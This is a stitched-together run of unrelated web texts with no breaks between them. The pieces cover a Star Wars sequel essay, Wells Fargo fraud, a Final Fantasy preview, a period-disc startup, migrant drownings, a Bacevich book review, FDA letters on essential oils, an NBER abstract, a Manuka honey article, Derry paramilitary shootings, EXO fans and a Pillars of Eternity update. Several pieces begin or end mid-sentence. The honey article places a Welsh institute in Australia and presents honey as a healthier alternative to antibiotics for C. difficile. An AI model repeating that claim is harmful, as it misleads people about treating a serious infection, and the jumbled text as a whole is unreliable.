Beyond their basic stories, the two trilogies follow a similar narrative structure, as well. In the first film, the main characters go from one location to another, picking up new companions along the way. They all pretty much stick together until the climax when they split apart for a short time only to reunite in the end (minus one Jedi knight). In the second one, the main characters are split into two camps and they have their own separate adventures until they converge at the end. A lot of romantic tension is present, too. The third film has the most somber tone of the trilogy as the heroes try to end a war once and for all and the Emperor is fully revealed. Plus, we get to see a planet full of Teddy Bear-like creatures (Ewoks and Wookiees).
What Now?
It was perfectly fine for the prequels to repeat this formula. I daresay most Star Wars fans even expected it. But I don’t think they could get away with it a third time.
Think of the Godfather series. The first two films are masterpieces and they follow a similar pattern, starting with an attempt on the Don’s life and ending with a montage of murders. By the time The Godfather Part III came along everyone knew what to expect from it. It was hopelessly constricted by what had come before and it was unable to break free and establish itself as anything but a mediocre copy of past greatness.
The next film in the Star Wars series is a make-or-break situation. Some fans have been disheartened by the poor quality of the most recent films in the series, and the brand has lost some of its luster. The next film needs to do what Star Trek (2009) did to that faltering science-fiction series. And it appears Disney completely understands this because they hired director J.J. Abrams to helm Star Wars: Episode VII. If anyone can breathe new life into the series, he can.
A New Start
The next Star Wars film is a blank canvas ready to be turned into anything the filmmakers want it to be. There have been innumerable books written about what happens after Return of the Jedi – many of them excellent. But the filmmakers have said they’re going to pursue a completely original story idea, which means we really have no clue what to expect. I hope they’ll do something really bold that will be faithful to what came before and try some unexpected things the other films never even attempted. New characters, relationships, story arcs, and other developments will hopefully be welcome additions.
In addition to the story, how will changes to other aspects of the production affect the upcoming films? John Williams said he plans to provide the score for the next Star Wars film, but that’s just delaying the inevitable. We all have to deal with the fact that someday Williams will die (he’s already 81 years old) and someone else will have to fill his shoes on future Star Wars projects. Could James Horner, Michael Giacchino or some other composer do as good a job as he? Will Star Wars be worse off without him? I don’t know. He was certainly responsible for making the original trilogy so memorable and timeless. Perhaps our generation has a musician who is capable of doing the same for future films in the series.
I Have a Good Feeling About This
There are a lot of reasons to be hopeful for the new crop of Star Wars films. Just as superhero films are enjoying a Renaissance of sorts thanks to Disney’s involvement, Star Wars might be on its way to returning to its former glory for the same reason. As long as the filmmakers don’t stick too close to the pattern set by the first two trilogies and they instead create a distinct identity for their new trilogy, I think the force will be very strong with this one.
This is the Deja Reviewer bidding you farewell until we meet again.
All images are the copyright of their respective owners.
AdvertisementsI OPENED MY first savings account at Wells Fargo in Sacramento, Calif., when I was 8 years old. I remember the bronze stagecoach penny bank they gave me to help me practice saving. When I moved to Washington, D.C., I put my money into a D.C.-based bank, soon bought out by Wells Fargo. But it wasn’t the same Wells Fargo I’d grown up with.
In 2012, the Justice Department found Wells Fargo guilty of discriminating against both African-American and Latino borrowers during the subprime mortgage heist. It’s one of the top two banks invested in the Corrections Corporation of America, which is one of the largest for-profit prison companies in the U.S. In 2015, Wells Fargo was the world’s largest bank.
This fall, Wells Fargo CEO John Stumpf, who abruptly resigned in October, was called before a congressional investigative committee to answer accusations that thousands of Wells Fargo employees secretly opened 2 million fraudulent accounts without customers’ permission or knowledge, and were incentivized by the company to do so. Employees opened false banking and credit card accounts, transferred funds, and created phony access codes and email addresses. “The frauds violate federal and state statutes against bank fraud and identity theft,” William K. Black Jr., white-collar criminologist and cofounder of Bank Whistleblowers United, told Sojourners. Customers incurred charges and fines; in some cases, their credit ratings were damaged.
CEO Stumpf accepted “full responsibility for all unethical sales practices in our retail banking business.” (John Steinbeck once called this kind of thing a successful combination of “piracy and puritanism.”)
Wells Fargo claims that it has fired 5,300 people since 2011 related to these practices, but details are vague; the fraud investigators were hired by Wells Fargo. We don’t know how many were fired because they couldn’t fulfill the extortionate sales quotas.Moments before stealing the show at Sony’s press conference by announcing the Final Fantasy VII remake that may make it in time for the PS5, Square Enix whipped out World of Final Fantasy, a chibi-sprite game that promised to be “adorably familiar” and looked like something made for kids.
On Monday night, most of us weren’t sure what to make of this Final Fantasy spinoff, which was announced for PS4 and Vita with a release window of “2016.” We had many questions. Is it free-to-play? Is it for children? Does it take after mobile games like Final Fantasy Record Keeper? Is it going to be worth our time? Just what is this game?
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During an interview at E3 in Los Angeles earlier this week, director Hiroki Chiba (who most recently worked on the very adult Final Fantasy Type-0) shared some details about this chibi game, which, as it turns out, isn’t just another Monster Hunter clone or children’s title. Chiba says it’s a genuine turn-based RPG, which may seem surprising to anyone who saw the trailer. But hey, this one might be worth a look for JRPG fans.
Let’s break down some facts:
1) It’s got ATB-style combat. ATB, of course, stands for Active Time Battle, a staple of older Final Fantasy games (from IV to IX) that crosses menu-based combat with real-time turn gauges. “I’ve also changed it a little bit to add more of a [modern feeling] like current-generation games,” Chiba said, speaking through a translator. Your two main characters can also swap between big and small forms, which will affect their abilities both in combat and in the world.
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2) The core gameplay will involve battling, collecting, and befriending monsters. Sort of like Pokémon with Final Fantasy creatures, which is a pretty compelling hook. Chiba wouldn’t go into detail on how this capturing system will work, but he did point out that you’ll be able to make your two main characters stack with monsters like behemoths and iron giants during combat.
3) This ain’t no free-to-play mobile game—we already know World of Final Fantasy is coming to PS4 and Vita, but Chiba says it’ll be a full-scale $60 game that takes advantage of both systems’ technical specs to get lots of monsters appearing on screen at once.
4) There’s an actual story. It involves two twins entering a world called Grimoire where all the Final Fantasy characters and monsters live. And Chiba says the plot won’t just be some rudimentary wrapper they slapped on to get you playing. “I personally worked on [Final Fantasys] VI, VII, and VIII so I’m trying to aim for that volume of a story that was in those titles,” Chiba said.
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5) It’ll have all sorts of characters and settings from other FF games. The trailer, for example, shows Cloud (FFVII) and Cornelia Castle from the original Final Fantasy. Chiba says you’ll be able to interact with a ton of characters, and that many of them will have their own sidequests and plots to follow as you go through the game.
6) The chibi sprites are meant to appeal to non-Final Fantasy fans. In some ways, Chiba said, the goal of this game is to introduce a new generation of people to Final Fantasy, because today’s teens aren’t growing up with characters like Locke and Cecil anymore.
7) That said, Chiba still wants this to appeal to old-school Final Fantasy players. It’s easy to imagine the graphical style turning a lot of people off, though. “If these fans are looking for a realistic type of game, then this might not appeal to them,” Chiba said. “But World of Final Fantasy does have a lot of elements from the previous titles, and a lot of stuff that’s in there that Final Fantasy fans tend to like, so I feel like it’ll appeal to the new and the old fans.”
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8) Chiba tends to work on dark, gritty, mature games. This is not that. In fact, he was given explicit orders from up above to do something lighter with World of Final Fantasy. “I actually had a direct order from [FF brand manager Shinji] Hashimoto in regards to how to approach this title,” Chiba said. “While my games are dark, I’m trying to make this more into a lighthearted, fun type of game. But at the same time, Final Fantasy games are known for their very heavy stories, so I’m trying to keep that in there to keep that Final Fantasy feel in the game.”
You can reach the author of this post at jason@kotaku.com or on Twitter at @jasonschreier.Things can get messy if you have sex on your period, so many couples avoid it. But The Flex Company wants to replace outdated pads and tampons with a sleek, disc-shaped blood blocker. Flex can be worn during sex to prevent making a mess.
The Flex discs are disposable, can be worn for up to 12 hours and even come in a stylish little packet. They’re doctor-approved to be hypoallergenic, BPA-free and they won’t cause toxic shock syndrome.
Flex will open for pre-orders in April and ship in September. 20,000 people have already signed up to try it. Eventually they could be sold in stores, though the price isn’t public yet. For now, you can register on The Flex Company’s site for a free sample.
“Flex is so shockingly comfortable that women tell us they forget they’re on their period while they’re wearing it,” CEO Lauren Schulte says.
Flex wasn’t planning its big media push until August, but I thought it was the stand-out company from the Y Combinator startup accelerator’s Fellowship Virtual Demo Day. The company is funded by Amplify.LA.
In her pitch, Flex’s Schulte explains “We’ve built a product that allows couples to increase their opportunity to have sex by 23 percent. The great tragedy of people avoiding sex on their period is that this is really the time when women want it most.”
That’s why 25 percent of its trial signups are from men!
While TechCrunch’s female writers didn’t love how Flex’s marketing hinges on the idea that periods are gross, some said they’d try it. Flex will have to compete with SoftCups, a well-distributed brand with a similar product, though one that doesn’t focus on portability or sex.Nearly 400 migrants attempting to cross the Mediterranean Sea from Libya are feared to have drowned after their vessel capsized.
It follows other similar incidents that have happened this week.
Details of their plight are still emerging as hundreds of rescued migrants arrived in the Sicilian capital, some of the 8,480 saved from the water since an armada of rickety boats began to sail from Africa earlier this week.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
Those rescued said that one vessel carrying between 500 and 550 people was barely 24 hours into its journey when it capsized.
Harrowing testimony detailed how, as the situation became more frantic, one victim's body was tossed overboard and torn apart by sharks. Another is said to have died from asphyxiation from diesel fumes.
One of the suspected traffickers, a Guinean man named as Aboubakarma Banghoura, was arrested after he was brought ashore by Italian Coast Guard with 110 rescued passengers. He faces charges of manslaughter.
The tragedy is the latest in a growing crisis of migrants that are dying on the Mediterranean's waters. While travelling illegally many are thought to be attempting to flee war torn areas and oppressive regimes.
“A 17-year-old Nigerian whose brother was killed by Muslim fundamentalists told me he was tortured with electric shocks by traffickers because he didn’t have money to travel,” Giovanna Di Benedetto, a Save the Children official who assisted the new arrivals, told The Times. “Many are now talking about fleeing fundamentalists.”
Flavio Di Giacomo, a spokesman for the International Organisation for Migration, said those rescued had arrived at Reggio Calabria in southern Italy after being picked up by the Italian coastguard. “We are continuing to investigate in order to understand how the shipwreck happened,” he said.
The attempt to cross the Mediterranean has become one of the great humanitarian crisis of recent years giving rise to an industry of traffickers and harrowing tales of those who never live to make the journey. More than 500 migrants are already thought to have died crossing the Mediterranean so far this year.
More than 170,000 people arrived on boat to Italy in 2014, while more than 3,200 people were estimated to have died at sea making the attempt.
In November the Italian authorities ended their “Mare Nostrum” programme, which had been designed to rescue migrants adrift in the Mediterranean.
Many claim that the EU should be doing more to support their efforts to prevent further deaths at sea. But EU leaders are uncomfortable with such schemes, claiming that it encourages migrants to make the crossing.
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe nowIn America’s War for the Greater Middle East, Andrew J. Bacevich, one of our most eloquent and incisive students of American foreign policy, military history, and the often-vexed nexus between the two, makes a startling claim: For the last 36 years, the United States has been engaged in an ill-advised, counterproductive struggle to shape the destiny of the Muslim world—not only in the Middle East proper, but in Southwest Asia, North and East Africa, and the Balkans as well.
Like Vietnam, this has been an undeclared war that started off small, and escalated in fits and starts into a major conflict. Like Vietnam, it has been poorly understood by policymakers, senior military officers, and the American public.
And like Vietnam, it is a doomed undertaking, with tragic implications.
Since the early ’80s, in “almost imperceptible increments,” the American military’s center of gravity has shifted from the plains of Europe, where it was deployed to fend off a Soviet attack against Western Europe, to the Middle East. After the 9/11 attacks, the conflict expanded exponentially, driven by invidious delusions about the efficacy of American military power, and a hubristic belief that the world’s only “indispensable nation” has both the right and the obligation to remake the region over in our own image.
Trouble is, millions of people in the Islamic world have rejected out of hand Western multiculturalism and the values of democracy and rule of law we see as universal, and seek to impose on them. They have come to see the United States not as an ally seeking to help them liberate themselves from repressive strongmen, economic dysfunction, and chronic instability, but as an imperialist purveyor of wantonness and materialism, bent on world hegemony.
Despite having been heavily engaged in the region’s geopolitics for 35 years, we remain deplorably ignorant of the region’s peoples and cultures, and continue to pursue political policies and military strategies in the region that exacerbate rather than diminish the region’s myriad difficulties. And we squander precious American lives and resources that should be devoted to far more urgent concerns here at home.
Bacevich’s book, in addition to providing a thought-provoking and penetrating account of the evolution of an ultimately futile conflict, is also a passionate plea to a self-absorbed American public to awake from their slumber, reflect seriously on what their leaders are doing in their name in the Islamic world, and force them to bring an end to the project.
The author charts the beginning of this war to the enunciation of the Carter Doctrine in January 1980. The Russians had just invaded Afghanistan. Fears that they had designs on the Persian Gulf, coupled with a recognition on the part of our most peace-loving post-war president that he was perceived as weak in defending American interests abroad, led Carter to declare that any effort to seize the oil fields of the Gulf would be perceived as an assault on a vital interest of the United States, and “will be repelled by any means necessary, including the use of force.”
Implementing the Carter Doctrine “implied the conversion of the Persian Gulf into an informal American protectorate. Defending the region meant policing it… While keeping the Soviets out, the United States would assume responsibility for enforcing good behavior of anyone inclined to make mischief. How else could the U.S. safeguard the uninterrupted flow of oil” upon which the American way of life was dependent?
Our chief means of managing the protectorate hasn’t been through the use of soft power or imaginative diplomacy, but through military interventions, ranging from retaliatory air strikes and commando raids, to extended deployments in hell holes like Somalia and Lebanon, to the two agonizing and inconclusive wars we have been fighting for more than a decade in Afghanistan and Iraq.
Yet as Bacevich’s astute, often wry analysis of the fallout from more than a dozen military deployments over 35 years shows, these interventions have almost invariably aggravated problems and animosities, spurring further violence rather than bringing about even temporary peace and stability. And they have added fuel to anti-American fires—fires which glow with far greater intensity now than they did back when Carter was president.
The American war for the Middle East began modestly and without a clearly enunciated overarching strategy. There was the CIA-led program to aid the Afghan rebels against the Soviets; a series of strikes against Moammar Qaddafi, “an erratic megalomaniacal buffoon, less a serious menace than a perennial pain in the behind,” and a disastrous and strategically lame misstep into the Lebanese Civil War in 1982.
In Lebanon, due to a peculiar blend of political and strategic obtuseness at the highest reaches of the Reagan administration, a battalion of Marines sent in to project “presence” and preserve peace soon came to be perceived by Muslim militias—Hezbollah prominent among them—as an active participant. Marine patrols began taking fire, and their base became an object of regular artillery barrages. Finally, on October 23, 1983, a truck bomb driven by a Hezbollah terrorist blew up the Marine barracks, killing 241 Americans. Soon thereafter, Reagan withdrew American forces in defeat. Bacevich offers this scathing critique:
The sad fact is that those who sent the Marines into Lebanon had no real idea what they were doing or what they were getting into. For the most part, the resulting failure there served to broadcast American ignorance, ineptitude, and lack of staying power. As for… expectations of dramatizing America’s role as peacemaker, enhancing U.S. credibility in Arab eyes, and demonstrating a capacity to police the region: none of it happened… Hezbollah soon emerged to form another sates-within a state. Its leaders could reasonably claim to have inflicted a decisive defeat on the world’s preeminent superpower, a conclusion not lost on other opponents of the United States.
A core theme of this compelling and sobering account is that even when our interventions have appeared to be successful and been widely celebrated as such by mainstream media and military experts, as in the Persian Gulf War of 1990-91, the lightning-fast defeat of the Taliban in the opening campaign of the Afghanistan War, and the initial invasion of Iraq in 2003, they have had dire, unforeseen consequences down the road a bit.
The “stunning” victory against Saddam in 1991 soon proved nothing of the sort, as Saddam brutally crushed a Kurdish uprising in the north and a Shiite one in the South, forcing the United States to establish no-fly zones in northern and southern Iraq and fight a quasi-war for more than a decade. After the “defeat” of the Taliban in Afghanistan in early 2002, “a protracted war ensued, waged in a country where the United States was without vital interests, against an adversary that, however repellant, did not directly threaten U.S. security.”
In Iraq in 2005, even as the Bush administration made claims that the insurgency was in its “last throes,” it was in fact gaining in strength and sophistication:
Two years after the fall of Baghdad, the armed resistance consisted of Sunni “rejectionists” unhappy with the prospect of the Shia majority exercising political power, Shia militias unhappy with prolonged military occupation, and the so-called foreign fighters who were anything but unhappy. Seizing upon the opening created by the invasion of Iraq, they welcomed the opportunity to wage anti-Western jihad there… In October 2004 they took to calling themselves Al Qaeda in Iraq, their leader Abu al—Zarqawi pledging fealty to Osama bin-Laden. Prior to 2003, in its quest to create a new caliphate, Al Qaeda had not managed |
,” “Myrrh,” “Peppermint,” “Rosemary,” “Wintergreen,” “Clary Sage,” and “Vetiver” are promoted for conditions that cause them to be drugs under section 201(g)(1)(B) of the Federal Food, Drug, and Cosmetic Act (the Act) [21 U.S.C. § 321(g)(1)(B)]. The therapeutic claims establish that these products are drugs because they are intended for use in the cure, mitigation, treatment, or prevention of disease. The intended use of a product may be determined by, among other things, its labeling, advertising, and the circumstances surrounding its distribution, 21 C.F.R. § 201.128. As described below, the marketing of your dōTERRA Essential Oil products with drug claims and without FDA approved-applications is in violation the Act.”
The website is currently down while the company makes changes to bring them into compliance with the FDA. This, unfortunately, is usually the most the FDA can do – send a strongly worded letter, which at best forces the company to be a bit more clever with the wording of their claims.
Yet the web is still full of websites making outrageous claims about essential oils:
A great example of one natural, God-given, and Bible recommended, antibiotic ideally used to resist the plagues of yesteryear, and today, including biological weapons attacks such as Anthrax and smallpox, is essential oils.
The scientific evidence is not favorable to the claims made for essential oils. Harrient Hall already reviewed this on Science-Based Medicine. The bottom line – evidence is either lacking or negative.
It is interesting, however, that some people will prefer what are essentially drugs being marketed without the backing of scientific evidence for safety and effectiveness but with flowery claims of being “natural’ and vague pseudoscientific claims, vs products with plausible mechanisms and reviewed evidence. It is the triumph of marketing over reailty.
Occasionally they get a slap on the wrist from the FDA, and need to reword their website.A Lesson from the Great Depression that the Fed Might have Learned: A Comparison of the 1932 Open Market Purchases with Quantitative Easing
NBER Working Paper No. 22581
Issued in August 2016
NBER Program(s):Development of the American Economy, Monetary Economics
We examine the first QE program through the lens of an open-market operation under taken by the Federal Reserve in 1932, at the height of the Great Depression. This program entailed large purchases of medium- and long-term securities over a four-month period. There were no prior announcements about the size or composition of the operation, how long it would be put in place, and the program ended abruptly. We use the narrative record to conduct an event study analysis of the operation using the weekly-level Treasury holdings of the Federal Reserve in 1932, and the daily term structure of yields obtained from newspaper quotes. The event study indicates that the 1932 program dramatically lowered medium- and long-term Treasury yields; the declines in Treasury Notes and Bonds around the start of the operation were as large as 114 and 42 basis points respectively. We then use a segmented markets model to analyze the channel through which the open-market purchases affected the economy, namely the portfolio composition and signaling effects. Quarterly data from 1920-32 is used to estimate the model with Bayesian methods. We find that the significant degree of financial market segmentation in this period made the historical open market purchase operation more effective than QE in stimulating output growth. Had the Federal Reserve continued its operations and used the announcement strategy of the QE operation, the Great Contraction could have been attenuated earlier.
A non-technical summary of this paper is available in the November 2016 NBER Digest. You can sign up to receive the NBER Digest by email.
Supplementary materials for this paper:
Acknowledgments
Machine-readable bibliographic record - MARC, RIS, BibTeX
Document Object Identifier (DOI): 10.3386/w22581
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Honey has been used for thousands of years to fight various external infections, and more recently raw honey has been found to ward off various superbug infections.
Now we find that one of the most powerful forms of raw honey, Manuka honey, inhibits one of the most difficult-to-treat gut infections, clostridia.
What is Clostridia?
Clostridia – which causes many cases of colitis – is an overgrowth of the bacteria called Clostridium difficile that often follows a course of antibiotics. The Clostridium difficile bacteria often grow back the quickest because they are rarely eliminated by antibiotics as they are resistant to many antibiotics. In addition, Clostridium difficile are vigorous bacteria so they also tend to grow back the fastest.
Because of this issue, antibiotics are not always very successful against Clostridium difficile. Nature’s antibiotics provide a clearly healthier and more sustainable alternative.
Three strains of C. difficile tested
The researchers, from Australia’s University of Wales Institute Cardiff, studied three different strains of Clostridium difficile. Because different strains become more or less tolerant to antibiotics, the three strains of C. difficile represented different types of colitis-type infections.
The researchers gave different strain biofilms exposure to a multiple of different concentrations of Makuka honey, each for 24 hours.
The researchers found that not only was the Manuka honey able to inhibit the colonization of the C. difficile strains. The researchers found a dose-dependent reduction of colonies.
This is the gold-standard for confirming that a particular product inhibits a microorganism. If it is increasingly inhibited as the compound’s concentration is increased, then other possible causes for the inhibition become marginalized.
The inhibition of the bacteria colonies of C. difficile occurred the greatest when the concentration of Manuka within the test environment was between 40 and 50 percent weight to volume.
Biofilm formation blocked
The mechanism appeared to be related to the fact that Manuka honey blocked much of the ability of the bacteria to form biofilms. Biofilms are polysaccharide excretions by bacteria that allow them to adhere to surfaces – whether they be external or internal.
This ability of Manuka honey to inhibit the biofilm production of bacteria has been seen among other studies, for example, German researchers found that Manuka honey inhibited Streptococcus pyogenes – which can cause strep throat and other difficult infections. Researchers from Denmark’s Technical University of Denmark found that Manuka honey inhibited growth of Pseudomonas aeruginosa bacteria, which can cause many types of infections.
Some of this research with honey has found it can inhibit the growth of bacteria colonies within a water medium, as well as inhibit biofilms. Inhibiting biofilm formation, however, is typically considered more difficult than inhibiting bacteria within water-based cultures.
Less than 100 percent inhibition
However, the research indicated that Manuka honey does not inhibit biofilms and bacteria growth of C. difficile at the 100 percent mark. The Manuka, utilizing an exclusive antibiotic effect called Unique Manuka Factor, will inhibit the bacteria biofilms significantly.
This is not surprising. Nature does not typically wipe out bacteria within its antimicrobial activities. Rather, Nature controls and balances species – just as a balance between various animals is found in natural environments due to natural population control by predators.
What Nature does through natural compounds like Manuka honey is severely limit the growth of a particular species so that it does not get out of hand. For this reason, healthy persons will still host a number of the most hazardous bacteria, including E. coli and C. difficile. But because the populations of those bacteria are severely controlled by other bacteria – typically probiotic bacteria, they are rendered harmless.
Manuka honey appears to coordinate with such a balanced colony approach.
In fact, the reason most harmful bacteria become hazardous is due to their colonies growing out of proportion with other colonies. In a healthy system, there will be many different strains of bacteria, but they will be mutually controlled by healthy colonies of probiotic bacteria.
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REFERENCES:
Hammond EN, Donkor ES, Brown CA. Biofilm formation of Clostridium difficile and susceptibility to Manuka honey. BMC Complement Altern Med. 2014 Sep 3;14:329. doi: 10.1186/1472-6882-14-329.
Klausen M, Heydorn A, Ragas P, Lambertsen L, Aaes-Jørgensen A, Molin S, Tolker-Nielsen T. Biofilm formation by Pseudomonas aeruginosa wild type, flagella and type IV pili mutants. Mol Microbiol. 2003 Jun;48(6):1511-24.
Lembke C, Podbielski A, Hidalgo-Grass C, Jonas L, Hanski E, Kreikemeyer B. Characterization of biofilm formation by clinically relevant serotypes of group A streptococci. Appl Environ Microbiol. 2006 Apr;72(4):2864-75.Dissidents running parts of Derry, claims Sinn Fein after latest paramilitary shooting BelfastTelegraph.co.uk A series of paramilitary shootings in Londonderry gives the impression that it is dissident republicans who are in control of parts of the city rather than the PSNI, Sinn Fein has claimed. https://www.belfasttelegraph.co.uk/news/northern-ireland/dissidents-running-parts-of-derry-claims-sinn-fein-after-latest-paramilitary-shooting-36317181.html https://www.belfasttelegraph.co.uk/news/northern-ireland/article36317180.ece/6f6c3/AUTOCROP/h342/2017-11-14_new_36232512_I1.JPG
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A series of paramilitary shootings in Londonderry gives the impression that it is dissident republicans who are in control of parts of the city rather than the PSNI, Sinn Fein has claimed.
Dissidents were again blamed for a shooting in the city at the weekend - the 15th time guns were used in attacks on people and property in the Derry and Strabane council area this year.
The spike in terror attacks will be discussed by Sinn Fein when it meets the PSNI tomorrow.
A 44-year-old man is recovering after being shot once in the leg on Sunday evening by armed and masked gunmen who dragged him into a tunnel along the Madam's Bank Road where he was walking with a friend.
It came days after a 17-year-old male was shot in the leg by gunmen who burst into his mother's home in the Bogside, and less than two weeks after shots were fired at a house in Racecourse Park in the Shantallow area.
In another recent incident, gunmen forced their way into a house in Altcar Park in Shantallow where they caused extensive damage, although no shots were fired.
The latest shooting happened on Sunday shortly after 8pm and was described as "brutal and horrific" by police, but it has also raised questions about the apparent impunity with which dissidents in Derry appear to be able to operate.
People living in Shantallow close to where the 44-year-old victim lives and where an unrelated gun attack took place in August said they feel let down by the police.
One man who lives on the same street as this latest victim said: "I have mixed feelings about this if I am being honest.
"On one hand it sickens me that there seems to be no law and order in some parts of Derry, including Shantallow, so the dissidents have moved in and taken over.
"The police are not really in charge as far as I see but this could be because people are not going to them to report stuff so there isn't much they can do. But you do feel they could do more.
"People are going to the dissidents to report crime and anti-social behaviour and there is no getting away from that.
"Personally I would rather see the police in here dealing with crime but I do understand that not everybody living around here or Creggan or the Bogside are comfortable doing that."
However, another resident was critical of anyone who turned to paramilitaries instead of the police.
She said: "Anyone who goes to the dissidents is as guilty as they are and need to take the blame for the attack on this man and on that wee 17-year-old last week.
"The police are trying their best but the problem in a lot of cases is the courts who are far too soft on criminals if you ask me."
Sinn Fein councillor Sandra Duffy and party colleagues including Foyle MP Elisha McCallion will meet with the PSNI in Derry tomorrow to discuss the increase in gun attacks.
She said: "There is a perception that it is not the police who are in charge on the streets of Derry.
"We are very alarmed at the high number of gun attacks over the recent days, weeks and months and whatever the police are doing it is not obvious to the public.
"There is the perception that these armed groups are acting with complete impunity so we need to know exactly what the police are doing.
"I certainly hope this isn't a case of people not reporting to the police. The police service is there to be used and if someone isn't comfortable going directly to the police they can always contact their local community representative."
In response, Chief Inspector Alan Hutton insisted the PSNI does have the support of the vast majority of people in Derry.
He said: "There are people there who are seeking to exercise control over the communities but they are fighting a losing battle because the overwhelming majority of the community is opposed to these acts.
"The PSNI is the only legitimate policing service in Northern Ireland, holding human rights at the heart of our actions for all our citizens.
"The impact of this kind of attack on individuals, families and communities can be severe and yet many turn a blind eye to what is happening on their streets, either through fear or indifference.
"It is incredible to think that there are those in society who see these brutal attacks as in any way justifiable or acceptable.
"However, to bring those responsible for such crimes before the courts, we need evidence and support to enable us to conduct the most thorough investigation possible.
"There are often a number of challenges for a variety of reasons in these types of investigations - often injured parties are unable or unwilling to provide information that would help to identity offenders, and witnesses are often unwilling to cooperate, possibly due to fear of reprisal.
"Policing has a clear part to play in reducing the number of these attacks and bringing perpetrators before the courts, but without evidence success in detection is extremely limited."
Anyone with any information about Sunday's shooting can call the PSNI at Strand Road on 101, quoting reference 1298 12/11/17, or the Crimestoppers charity on 0800 555 111.
Belfast Telegraphcontinues to prove their power and popularity as their fans flock to purchase goods related to EXO as well as donate to charity.In theclip above, the news anchors discuss how EXO fans are redefining fandom love for idols.shares that EXO fans have a tendency to flock to anything related to their idols. When Kai quoted a book during EXO'saward acceptance speech saying, "" EXO fans looked up the bookand bought it for themselves. The book was sold out quickly after Kai's speech was broadcast.The head of the bookstorecommented in shock, "In addition to 'Traveler's Read', EXO fans are known to purchase any book that the EXO members are seen reading. Fans also like to visit places and brands that the idols promote. Karaoke placebecame a popular tourist attraction after EXO filmed at this location last year. Skincare brandalso saw a rise in sales after hiring EXO as their advertising models.
EXO-L have also supported their favorite idols via charity and good deeds. One EXO fan in the clip above mentions that there's a place where fans can donate in their favorite EXO member's name. EXO's Chanyeol's mother shares that Chinese fans even planted 2,500 trees to create a forest in an arid area of China for Chanyeol's birthday.
Check out other ways EXO-L support their favorite idols in the clip above!Update by Eric Fenstermaker, Lead Narrative Designer
Undead abound in Heritage Hill.
Hey everybody. I'm Eric Fenstermaker and I'm the lead narrative designer on Pillars of Eternity. Before this I held the same position on South Park: The Stick of Truth, so if the dialogue in Eternity ends up being a long string of obscenities and fart jokes, you know who to blame. You can direct all hate mail to my work email account, brandon.adler@obsidian.net.
I know we suggested last week that I was going to give you a lore update, but I thought, this is a crowdfunded project. Why not completely fail to deliver on what was promised and instead give our backers something no one asked for?
I have three things for you today - the first is a look at what my daily experience is like, then I'm going to talk a bit about some high-level goals we have for writing our companion characters, and finally I might just have some lore about Eternity's undead.
On the next episode of Pillars of Eternity: Josh Sawyer writes a class update about wizards and druids, and Adam meets a wacky goblin neighbor only he can see!
But what to talk about first? Being a narcissist, the answer is obvious.
What It Is Like to Be Me
Today has been busy and varied. I thought it might be interesting to take you through a typical day as a narrative lead person. I will tell it in second person so it feels like virtual reality. Most of this is somewhat based on real events - at least as much as American Hustle.
10:05 AM
You arrive at work. Take serpentine route to your desk to avoid being seen by anyone who would frown upon your five minutes' tardiness. End up accidentally passing all of them in the hallway anyway. Pass subordinate in hallway too. Shake your head at him to note disapproval of his tardiness.
10:10 AM - 10:25 AM
Watch internet video of intro to Japanese wrestling match featuring life-sized animatronic raptor. Dream of making it big as a game designer and having a raptor of your own. Someday...
10:25 AM
Deny your subordinate's purchase request for an ergonomic keyboard to help with her carpal tunnel. That is what stem cells are for. Back to work, slave.
10:30 AM- 11:30 AM
Brainstorming meeting: What kind of monsters can we reasonably use in an urban docks district along the shoreline that somehow have not worked the surrounding populace into a panic? Proposals: invisible giant crabs, giants with poor height genes from both parents, low-key mummies.
11:30 AM
Reminded for seventh time about backer update, which you knew about but have been deliberately putting off. Chastise producer for not reminding you enough.
11:50 AM - 12:00 AM
Called in to review cutscene animatic. Despite the storyboard being delivered exactly as asked for, you berate the storyboard artist to consolidate power. This is garbage, GARBAGE!
12:00 PM
Lunch alone at office desk, like every day.
So alone.
12:10 PM - 1:00 PM
Spend the rest of lunch on Facebook and Twitter making it look like you have the perfect life and everybody loves you.
1:00 PM -??
Intermittent raptor daydreams.
1:30 PM - 2:30 PM
Work with narrative designer on the design for a new companion centered exclusively on maximizing companion's potential to be spun off into a line of toys. Huge adorable eyes, soft plush fur, impressive physique, ability to transform into racecar, check, check, check and check.
2:30 PM - 4:30 PM
Passing off subordinates' ideas as your own. Crushing their spirit.
4:30 PM - 5:00 PM
Brainstorm barbarian clan names.
The Large and in Charge Clan
Clan Pizzaface
The One-Man Clan
The Passive-Aggressors
The Doughmen
5:00 PM -7:00 PM
Annoy backers.
In Summary
I may have taken a few liberties, but some of that is really a snapshot as to what my role is.
Day-to-day, I spend a fair amount of time coordinating the efforts of narrative designers with level designers, so for example I really did have a meeting this morning to figure out how on Earth we could have a quest with some monster combat in a populated, more-or-less oblivious urban district without the monsters there feeling absurdly out of place. The game needs to be fun, first and foremost, with or without a story. It's ultimately my responsibility to make sure that the fun things our designers come up with have a cohesive narrative wrapped around them. Sometimes it's an easy fit, sometimes it's a puzzle to be solved. Fortunately I am backed up by some very talented designers whose ideas I can steal liberally - that part was all true, too.
It's also on me to try and make sure the story is being told properly in-game, so there was in fact a meeting with a storyboard artist to look through one of our game's introductory cutscenes. Our concept artists' stick figures look better than the most realistic human portrait I could ever draw.
And I have to curate lore, though that's a responsibility I share with Josh Sawyer, our project lead. In general I prefer this to be a decentralized process where designers come up with things that make their quests and areas and subplots cool, and then we find ways together to work them into the overall scheme. But there was also a good amount of up-front central planning, dating back to before I was on the project. In this case, today I did have a long conversation with a couple of our level guys about the names and personalities of a set of barbarian-ish tribes.
Skeletons...
What's missing from the above is that on some days, when I am fortunate, I get to do some writing for the project, which is really fun. If you are a narrative lead you get to claim all the choicest dialogues for yourself. It's a great privilege, which is one reason why so many narrative leads are murdered by the narrative designer who is next-in-line.
So Alone
Companions may be my favorite things about RPGs. Long after you've finished the game, looking back, if they're done well, they feel like old friends. Lately we have been ramping up our companion writing. (We really did have a discussion about one of those designs today, and did some iteration on it.) As such, I've been giving a lot of thought of late as to what our goals should be in creating the companions for Pillars of Eternity, and I thought they'd be worth sharing with the people we're designing them for. These are a few of the benchmarks I want us to try to hit:
Interactively Dynamic
